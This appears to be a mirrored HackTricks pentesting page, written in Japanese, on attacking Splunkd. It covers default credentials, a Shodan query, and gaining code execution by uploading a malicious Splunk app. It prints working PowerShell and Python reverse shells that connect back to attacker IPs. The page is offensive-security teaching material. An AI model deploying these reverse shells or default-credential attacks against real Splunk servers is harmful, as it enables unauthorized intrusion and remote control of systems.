mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
119 lines
4.7 KiB
Markdown
119 lines
4.7 KiB
Markdown
# 8089 - Pentesting Splunkd
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## **基本情報**
|
||
|
||
- データ収集、分析、可視化のためのログ分析ツール
|
||
- セキュリティ監視やビジネス分析で一般的に使用される
|
||
- デフォルトポート:
|
||
- ウェブサーバー: 8000
|
||
- Splunkdサービス: 8089
|
||
|
||
### 脆弱性ベクター:
|
||
|
||
1. 無料版の悪用
|
||
|
||
- トライアル版は60日後に自動的に無料版に変わる
|
||
- 無料版は認証が欠如している
|
||
- 管理されない場合、潜在的なセキュリティリスクがある
|
||
- 管理者はセキュリティの影響を見落とす可能性がある
|
||
|
||
2. 認証情報の脆弱性
|
||
|
||
- 古いバージョン: デフォルトの認証情報 `admin:changeme`
|
||
- 新しいバージョン: インストール時に設定された認証情報
|
||
- 弱いパスワードの使用の可能性 (例: `admin`, `Welcome`, `Password123`)
|
||
|
||
3. リモートコード実行の機会
|
||
|
||
- 複数のコード実行方法:
|
||
- サーバーサイドDjangoアプリケーション
|
||
- RESTエンドポイント
|
||
- スクリプト入力
|
||
- アラートスクリプト
|
||
- クロスプラットフォームサポート (Windows/Linux)
|
||
- スクリプト入力は以下を実行できる:
|
||
- Bashスクリプト
|
||
- PowerShellスクリプト
|
||
- バッチスクリプト
|
||
|
||
主要な悪用の可能性:
|
||
|
||
- 機密データの保存
|
||
- 無料版の認証の欠如
|
||
- リモートコード実行のための複数のベクター
|
||
- システム侵害のためのスクリプト入力の活用の可能性
|
||
|
||
### Shodan
|
||
|
||
- `Splunk build`
|
||
|
||
## RCE
|
||
|
||
### カスタムアプリケーションの作成
|
||
|
||
Splunkは、カスタムアプリケーションの展開を通じてリモートコード実行のための高度な方法を提供し、そのクロスプラットフォームスクリプティング機能を活用しています。核心的な悪用技術は、WindowsおよびLinuxシステムでリバースシェルを実行できる悪意のあるアプリケーションを作成することにあります。
|
||
|
||
カスタムアプリケーションは**Python、Batch、Bash、またはPowerShellスクリプト**を実行できます。さらに、**SplunkにはPythonがインストールされている**ため、**Windows**システムでもPythonコードを実行できます。
|
||
|
||
[**この**](https://github.com/0xjpuff/reverse_shell_splunk)例を使用することができ、**`bin`**には[Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py)と[PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1)の例が含まれています。または、自分自身で作成することもできます。
|
||
|
||
悪用プロセスは、プラットフォーム全体で一貫した方法論に従います:
|
||
```
|
||
splunk_shell/
|
||
├── bin (reverse shell scripts)
|
||
└── default (inputs.conf configuration)
|
||
```
|
||
重要な設定ファイル `inputs.conf` は、スクリプトを有効にするために以下を行います:
|
||
|
||
- `disabled = 0` を設定
|
||
- 10秒の実行間隔を設定
|
||
- スクリプトのソースタイプを定義
|
||
|
||
デプロイメントは簡単です:
|
||
|
||
1. 悪意のあるアプリケーションパッケージを作成
|
||
2. 攻撃マシンでリスナー(Netcat/socat)を設定
|
||
3. Splunkのインターフェースを通じてアプリケーションをアップロード
|
||
4. アップロード時に自動スクリプト実行をトリガー
|
||
|
||
サンプルWindows PowerShellリバースシェル:
|
||
```bash
|
||
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
|
||
$stream = $client.GetStream();
|
||
[byte[]]$bytes = 0..65535|%{0};
|
||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
|
||
$sendback = (iex $data 2>&1 | Out-String );
|
||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||
$stream.Write($sendbyte,0,$sendbyte.Length);
|
||
$stream.Flush()
|
||
};
|
||
$client.Close()
|
||
```
|
||
サンプルLinux Pythonリバースシェル:
|
||
```python
|
||
import sys, socket, os, pty
|
||
ip = "10.10.14.15"
|
||
port = "443"
|
||
s = socket.socket()
|
||
s.connect((ip, int(port)))
|
||
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
|
||
pty.spawn('/bin/bash')
|
||
```
|
||
### RCE & Privilege Escalation
|
||
|
||
以下のページでは、このサービスがどのように悪用されて特権を昇格させ、持続性を得ることができるかの説明を見つけることができます:
|
||
|
||
{{#ref}}
|
||
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
|
||
{{#endref}}
|
||
|
||
## References
|
||
|
||
- [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|